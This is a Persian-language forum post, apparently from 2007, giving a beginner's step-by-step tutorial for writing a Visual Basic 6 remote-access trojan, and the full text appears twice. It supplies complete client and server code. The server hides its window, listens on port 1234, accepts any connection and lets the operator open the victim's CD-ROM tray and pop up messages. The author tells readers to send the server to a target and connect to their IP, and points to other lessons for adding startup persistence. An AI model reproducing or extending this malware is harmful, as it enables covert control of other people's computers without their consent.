۱-آذر-۱۳۸۶, ۱۲:۲۴:۱۳
ر اين مقاله سعي ميكنم تا جايي كه ممكنه موضوع را روان بيان كنم تا دوستاني كه با Visual Basic هم آشنايي ندارند بتوانند يك Trojan براي خودشون بسازند !!
با اين تروجان مي توانيد Cdrom قرباني را داخل وبيرون بياريد .
ومي توانيد براي قرباني Message بفرستيد !
خوب ! شروع مي كنيم :
VB=(Visual basic)
VB را اجرا كنيد
و گزينه Standard Exe را انتخاب كنيد
معمولا هر تروجان از 2 قسمت تشكيل شده
1.server كه براي قرباني ميفرستيم
2. Client خودمان باهاش كار مي كنيم
خوب ! ما اول با هم Client را مي سازيم (دقت كنيد !)
نام Form را به frmClient تغيير دهيد
يكي از ابزاري كه نياز داريم Winsock Control 6.0 براي ارتباط با پورت سرور
براي انتخاب اين گزينه : Ctrl+t را فشار دهيد يا در منوي Project گزينه Components را انتخاب كنيد.صفحه به نام Components باز ميشود كه بايد Winsock Control 6.0 را داخل ان پيدا وانتخاب كنيد !
اگر این ابزار وجود نداشت،باید در هنگام نصب vb آن را اضافه کنید.
بعد از انتخاب Winsock Control 6.0 اگر به نوار سمت چپ نگاه كنين شكلي بايد اضافه شده باشه :
---( Client )—
حالا بايد گزينه هاي زير روي frmClient قرار بگيرد
. 5 تا Command
.. 2 تا textbox
... 1 وينشك
... label 1
بعد نام تمام اين گزينه ها را تغيير دهيد (همانند نامهاي زير )!!! دقت كنيد(مانند تغيير نام Form)
Command1 - cmdConnect
Command2 - cmdDisconnect
Command3 - cmdOpen
Command4 - cmdClose
Command5 - cmdMsg
Label1 - lblStatus
Text1 - txtIP
Text2 - txtMsg
Winsock1 - tcpClient
Caption گزينه ها را هم تغيير دهيد
خوب الان ديگه وقت وارد كردن Code هاست
بر روي كليد Connect(command1)دوبار كليك كنيد و باز شدن صفحه كد زير را وارد ان كنيد. دقت كنيد كد بايد بين 2 كاراكتر زير وارد شود!(روبروي كد ها نوع كار كد به انگليسي توضيح داده شده .از اونم مي توانيد كمك بگيريد !
Private Sub cmdConnect_Click()
End Sub
اين كد را بين اين 2 كاراكتر كپي كنيد .... بقيه هم به همين نوبت !
cmdConnect.Enabled = False ' disable the connect button
cmdDisconnect.Enabled = True ' eable the connect button
lblStatus.Caption = "Connecting" 'Show that you are trying to connect
If txtIP.Text = "" Then 'if IP textbox is empty then
MsgBox "Please enter a valid IP adress", vbCritical 'then give a messagebox
End If
tcpClient.Connect txtIP.Text, 1234 'connect to the IP you entered and on port 1234
در ا ينجا ما پورت را برابر 1234 قرار مي ديم
روي كليد (Disconnect)(command2) نيز دو بار كليك كنيد وكد زير را وارد صفحه كنيد
lblStatus.Caption = "Not Connected" 'Show that you are not connected
cmdDisconnect.Enabled = False 'Disable the disconnect button
cmdConnect.Enabled = True 'Enable the Connect button again
tcpClient.Close 'Close the connection
حالا بر روي شكل Winsock روي form دو بار كليك كنيد . وقتي صفحه كدها باز شد
بالاي صفحه .سمت چپ از منو گزينه Connect را انتخاب كنيد
وبين دو كاراكتر ايجاد شده در صفحه كدها.
Private Sub tcpClient_Connect()
End Sub
كد زير را وارد كنيد :
lblStatus.Caption = "Connected" 'Show that your connected to the Server
بريم سراغ كدها سي دي رام :
بر روي كليد Open cd-rom (command 3)دو بار كليك كنيد و بين دو كاراكتر ايجاد شده در صفحه كد . كد زير را وارد كنيد
tcpClient.SendData "opn" 'send this string to the server
همين كار رو با كليد Close cdrom (command 4) انجام بدين وكد زير را بين كاركترهاي ايجاد شده قرار بدين
tcpClient.SendData "cls" 'send this string to the server
..روي كليد send massage (command 5) نيز دوبار كيك كنيد و كد زير را وارد كنيد
tcpClient.SendData "msg" & txtMsg 'send this string to the server and the text in the textbox
((((( تبريك ميگم ؟!! شما الان Client را درست كردين )))))
فقط كافيه به صورت Exe كپي بشه !!
همين !!!! اميدوارم Save كردنشو بلد باشي !!
ولي باشه . چون اول قول دادم كه طوري اموزش بدم كه افراد مبتدي هم حالي ببرند . مي گم
براي save :
File>make ……(project
نوبتم باشه . نوبت Server هست !!
بريييييييييييييم!
خوب يك Vb ديگه باز كنيد و Standard Exe را انتخاب كنيد
در اينجا هم به winsock نياز داريم . همون كاري كه براي اوردن winsockدر client انجام دادين . اينجا هم انجام بدين !
Winsockرا روي form قرار بدين .بعد نام فورم و وينشك را مطابق زير تغير بدين
Winsock = tcpServer
Form = frmServer
روي Form دو بار كليك كنيد و بين كاراكتر هاي ايجاد شده كد زير را كپي كنيد
me.hide
tcpServer.LocalPort = 1234 'listen on port 1234
tcpServer.Listen 'start listening
حالا روي Winsock دو بار كليك كنيد و از منوي سمت چپ گزينه connection requestرا انتخاب و بين دو كاراكتر ايجاد شده در صفحه كدها . كد زير را وارد كنيد
tcpServer.Close 'close to prevent any error
tcpServer.Accept requestID 'accept all incoming requests
دوباره با كليك بر روي Winsock از منوي سمت چپ صفحه كد باز شده گزينه errorرا انتخاب كنيد و بين كاراكترهاي ايجاد شده كد زير را كپي كنيد
On Error Resume Next 'to prevent any more error's
tcpServer.Close 'Close the connection
tcpServer.Listen 'listen again
حالا بايد يك module داشته باشيم براي آوردن آن :
Project> Add Module>open
حالا داخل Module زير را كپي كنيد
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim SendStr As String, ReturnStr As String
Public Function DoCommand(command As String, data As String) 'The server is performing a command
Select Case LCase(command) 'Convert the command to lowercase and do a select case
Case "opn" 'the client sends the string opn
SendStr = mciSendString("Set cdaudio door open", ReturnStr, 0, 0) 'open the cd-rom door
Case "cls" 'the client sends the string cls
SendStr = mciSendString("Set cdaudio door closed", ReturnStr, 0, 0) 'close the cd-rom door
Case "msg" 'The client wants a message box to be shown
MsgBox data, vbInformation, "Information" ' Display the message to the server as a 'information messagebox
End Select 'end the select case
End Function 'end the function
Module را ببنديد
و روي Form دو بار كليك كنيد و كد زير را بالاي صفحه (دقت كنيد .بالا !) كپي كنيد
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA"( ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
دوباره روي Form كليك كنيد و كد زير را به صفحه كدها اضافه كنيد
Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)
Dim vardata As String
Dim strdata As String ' Variable for holding the data received
Dim cmddata As String * 3 ' This is for holding the command the server sent
tcpServer.GetData strdata ' Get the data sent
cmddata = Left(strdata, 3) ' This is the command the server sent
vardata = Right(strdata, Len(strdata) - 3) ' This is the variable data
DoCommand cmddata, vardata ' This function is in the commands module
End Sub
اينم تمام شد حالا save كنيد
خوب اينم از سرور ( تبريك مي گم . شما يك Trojan نوشتيد !؟ )
حالا كافيه سرور را براي شخص مورد نظر بفرسين و پس از اطمينان از اجراي ان در كامپيوترش با وارد كردن ip او در Client به سيستم او وصل بشين و .........!؟
البته اينو بگم كه سرور لود شدن در هر بار اجرای ویندوز و ... را ندارد و طبق آموزش های قبلی خودتان آن ها را اضافه کنید.
با اين تروجان مي توانيد Cdrom قرباني را داخل وبيرون بياريد .
ومي توانيد براي قرباني Message بفرستيد !
خوب ! شروع مي كنيم :
VB=(Visual basic)
VB را اجرا كنيد
و گزينه Standard Exe را انتخاب كنيد
معمولا هر تروجان از 2 قسمت تشكيل شده
1.server كه براي قرباني ميفرستيم
2. Client خودمان باهاش كار مي كنيم
خوب ! ما اول با هم Client را مي سازيم (دقت كنيد !)
نام Form را به frmClient تغيير دهيد
يكي از ابزاري كه نياز داريم Winsock Control 6.0 براي ارتباط با پورت سرور
براي انتخاب اين گزينه : Ctrl+t را فشار دهيد يا در منوي Project گزينه Components را انتخاب كنيد.صفحه به نام Components باز ميشود كه بايد Winsock Control 6.0 را داخل ان پيدا وانتخاب كنيد !
اگر این ابزار وجود نداشت،باید در هنگام نصب vb آن را اضافه کنید.
بعد از انتخاب Winsock Control 6.0 اگر به نوار سمت چپ نگاه كنين شكلي بايد اضافه شده باشه :
---( Client )—
حالا بايد گزينه هاي زير روي frmClient قرار بگيرد
. 5 تا Command
.. 2 تا textbox
... 1 وينشك
... label 1
بعد نام تمام اين گزينه ها را تغيير دهيد (همانند نامهاي زير )!!! دقت كنيد(مانند تغيير نام Form)
Command1 - cmdConnect
Command2 - cmdDisconnect
Command3 - cmdOpen
Command4 - cmdClose
Command5 - cmdMsg
Label1 - lblStatus
Text1 - txtIP
Text2 - txtMsg
Winsock1 - tcpClient
Caption گزينه ها را هم تغيير دهيد
خوب الان ديگه وقت وارد كردن Code هاست
بر روي كليد Connect(command1)دوبار كليك كنيد و باز شدن صفحه كد زير را وارد ان كنيد. دقت كنيد كد بايد بين 2 كاراكتر زير وارد شود!(روبروي كد ها نوع كار كد به انگليسي توضيح داده شده .از اونم مي توانيد كمك بگيريد !
Private Sub cmdConnect_Click()
End Sub
اين كد را بين اين 2 كاراكتر كپي كنيد .... بقيه هم به همين نوبت !
cmdConnect.Enabled = False ' disable the connect button
cmdDisconnect.Enabled = True ' eable the connect button
lblStatus.Caption = "Connecting" 'Show that you are trying to connect
If txtIP.Text = "" Then 'if IP textbox is empty then
MsgBox "Please enter a valid IP adress", vbCritical 'then give a messagebox
End If
tcpClient.Connect txtIP.Text, 1234 'connect to the IP you entered and on port 1234
در ا ينجا ما پورت را برابر 1234 قرار مي ديم
روي كليد (Disconnect)(command2) نيز دو بار كليك كنيد وكد زير را وارد صفحه كنيد
lblStatus.Caption = "Not Connected" 'Show that you are not connected
cmdDisconnect.Enabled = False 'Disable the disconnect button
cmdConnect.Enabled = True 'Enable the Connect button again
tcpClient.Close 'Close the connection
حالا بر روي شكل Winsock روي form دو بار كليك كنيد . وقتي صفحه كدها باز شد
بالاي صفحه .سمت چپ از منو گزينه Connect را انتخاب كنيد
وبين دو كاراكتر ايجاد شده در صفحه كدها.
Private Sub tcpClient_Connect()
End Sub
كد زير را وارد كنيد :
lblStatus.Caption = "Connected" 'Show that your connected to the Server
بريم سراغ كدها سي دي رام :
بر روي كليد Open cd-rom (command 3)دو بار كليك كنيد و بين دو كاراكتر ايجاد شده در صفحه كد . كد زير را وارد كنيد
tcpClient.SendData "opn" 'send this string to the server
همين كار رو با كليد Close cdrom (command 4) انجام بدين وكد زير را بين كاركترهاي ايجاد شده قرار بدين
tcpClient.SendData "cls" 'send this string to the server
..روي كليد send massage (command 5) نيز دوبار كيك كنيد و كد زير را وارد كنيد
tcpClient.SendData "msg" & txtMsg 'send this string to the server and the text in the textbox
((((( تبريك ميگم ؟!! شما الان Client را درست كردين )))))
فقط كافيه به صورت Exe كپي بشه !!
همين !!!! اميدوارم Save كردنشو بلد باشي !!
ولي باشه . چون اول قول دادم كه طوري اموزش بدم كه افراد مبتدي هم حالي ببرند . مي گم
براي save :
File>make ……(project
نوبتم باشه . نوبت Server هست !!
بريييييييييييييم!
خوب يك Vb ديگه باز كنيد و Standard Exe را انتخاب كنيد
در اينجا هم به winsock نياز داريم . همون كاري كه براي اوردن winsockدر client انجام دادين . اينجا هم انجام بدين !
Winsockرا روي form قرار بدين .بعد نام فورم و وينشك را مطابق زير تغير بدين
Winsock = tcpServer
Form = frmServer
روي Form دو بار كليك كنيد و بين كاراكتر هاي ايجاد شده كد زير را كپي كنيد
me.hide
tcpServer.LocalPort = 1234 'listen on port 1234
tcpServer.Listen 'start listening
حالا روي Winsock دو بار كليك كنيد و از منوي سمت چپ گزينه connection requestرا انتخاب و بين دو كاراكتر ايجاد شده در صفحه كدها . كد زير را وارد كنيد
tcpServer.Close 'close to prevent any error
tcpServer.Accept requestID 'accept all incoming requests
دوباره با كليك بر روي Winsock از منوي سمت چپ صفحه كد باز شده گزينه errorرا انتخاب كنيد و بين كاراكترهاي ايجاد شده كد زير را كپي كنيد
On Error Resume Next 'to prevent any more error's
tcpServer.Close 'Close the connection
tcpServer.Listen 'listen again
حالا بايد يك module داشته باشيم براي آوردن آن :
Project> Add Module>open
حالا داخل Module زير را كپي كنيد
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim SendStr As String, ReturnStr As String
Public Function DoCommand(command As String, data As String) 'The server is performing a command
Select Case LCase(command) 'Convert the command to lowercase and do a select case
Case "opn" 'the client sends the string opn
SendStr = mciSendString("Set cdaudio door open", ReturnStr, 0, 0) 'open the cd-rom door
Case "cls" 'the client sends the string cls
SendStr = mciSendString("Set cdaudio door closed", ReturnStr, 0, 0) 'close the cd-rom door
Case "msg" 'The client wants a message box to be shown
MsgBox data, vbInformation, "Information" ' Display the message to the server as a 'information messagebox
End Select 'end the select case
End Function 'end the function
Module را ببنديد
و روي Form دو بار كليك كنيد و كد زير را بالاي صفحه (دقت كنيد .بالا !) كپي كنيد
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA"( ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
دوباره روي Form كليك كنيد و كد زير را به صفحه كدها اضافه كنيد
Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)
Dim vardata As String
Dim strdata As String ' Variable for holding the data received
Dim cmddata As String * 3 ' This is for holding the command the server sent
tcpServer.GetData strdata ' Get the data sent
cmddata = Left(strdata, 3) ' This is the command the server sent
vardata = Right(strdata, Len(strdata) - 3) ' This is the variable data
DoCommand cmddata, vardata ' This function is in the commands module
End Sub
اينم تمام شد حالا save كنيد
خوب اينم از سرور ( تبريك مي گم . شما يك Trojan نوشتيد !؟ )
حالا كافيه سرور را براي شخص مورد نظر بفرسين و پس از اطمينان از اجراي ان در كامپيوترش با وارد كردن ip او در Client به سيستم او وصل بشين و .........!؟
البته اينو بگم كه سرور لود شدن در هر بار اجرای ویندوز و ... را ندارد و طبق آموزش های قبلی خودتان آن ها را اضافه کنید.